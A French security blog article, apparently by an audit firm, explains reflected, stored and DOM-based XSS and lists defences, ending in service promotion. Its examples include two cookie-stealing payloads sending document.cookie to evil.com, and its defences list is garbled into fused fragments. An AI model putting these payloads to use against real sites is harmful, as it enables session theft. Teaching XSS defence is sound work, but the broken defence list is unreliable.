XSS expliqué : reflected, stored, DOM-based, comment se protéger
> En bref : Les trois types de Cross-Site Scripting décortiqués avec des exemples concrets, les vecteurs d'attaque courants et les défenses à implémenter.
Qu'est-ce que le XSS
Le Cross-Site Scripting permet à un attaquant d'injecter du code JavaScript dans le navigateur d'un autre utilisateur. Les conséquences vont du vol de session au détournement complet du compte. C'est la vulnérabilité web la plus répandue : elle apparaît dans plus de 60% des applications que nous auditons chez CleanIssue.
XSS Reflected (réfléchi)
Le script malveillant est inclus dans l'URL ou dans un paramètre de requête. Le serveur le renvoie directement dans la réponse HTML sans l'assainir. L'attaquant envoie un lien piégé à la victime.
Exemple concret : une page de recherche affiche Résultats pour : [terme] sans échappement. L'URL /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> exécute le script dans le navigateur de la victime.
Vecteurs fréquents : pages de recherche, messages d'erreur personnalisés, redirections avec paramètres non validés.
XSS Stored (persistant)
Le script est stocké côté serveur (base de données, fichier) et servi à tous les utilisateurs qui consultent la ressource. C'est le type le plus dangereux car il ne nécessite aucune interaction de la victime au-delà de la consultation normale.
Exemple concret : un champ de commentaire accepte du HTML. Un attaquant poste <img src=x onerror=fetch('https://evil.com/'+document.cookie)>. Tous les visiteurs de la page exécutent le script.
Vecteurs fréquents : commentaires, profils utilisateur, noms de fichiers uploadés, champs de formulaire affichés dans des tableaux de bord admin.
XSS DOM-based
Le script s'exécute entièrement côté client. Le serveur ne voit jamais le payload. Le code JavaScript de la page lit une source non fiable (location.hash, document.referrer, postMessage) et l'injecte dans le DOM sans assainissement.
Exemple concret : document.getElementById('greeting').innerHTML = 'Bonjour ' + location.hash.slice(1). L'URL /page#<img src=x onerror=alert(1)> déclenche l'exécution.
Vecteurs fréquents : applications React avec dangerouslySetInnerHTML, templates côté client, widgets tiers qui lisent des paramètres d'URL.
Les défenses qui fonctionnent
dangerouslySetInnerHTML.script-src 'self') bloque l'exécution de scripts inline même si une injection réussit. C'est la défense en profondeur la plus efficace.< ou >.HttpOnly. Le flag SameSite=Strict bloque l'envoi automatique vers des domaines tiers.Les erreurs qu'on voit le plus
Demandez un revue externe CleanIssue pour vérifier votre exposition au XSS sur l'ensemble de vos surfaces exposées.
À retenir
Vous éditez un logiciel RH, paie ou recrutement ? CleanIssue réalise des audits de sécurité pour SaaS RH en conditions réelles, sans accès au code. Pour une première lecture de votre exposition, commencez par une revue externe de votre application.
Articles liés
Trois analyses proches pour continuer la lecture sur la meme surface de risque.
Injection SQL : exemples concrets et défenses modernes
Comment fonctionne une injection SQL en 2026, les variantes (union, blind, time-based), et les protections réelles au-delà des requêtes préparées.
React dangerouslySetInnerHTML : vos composants sont des portes ouvertes au XSS
L'utilisation de dangerouslySetInnerHTML sans sanitization expose votre application au XSS. Voici comment corriger.
Vulnérabilités web : le guide complet OWASP Top 10 pour 2026
Décryptage des 10 catégories de vulnérabilités web les plus critiques selon l'OWASP 2021, avec leur évolution en 2026 et les vérifications à mener.
Sources
Services associés
Si ce sujet reflète un risque concret sur votre stack, voici les audits CleanIssue les plus pertinents.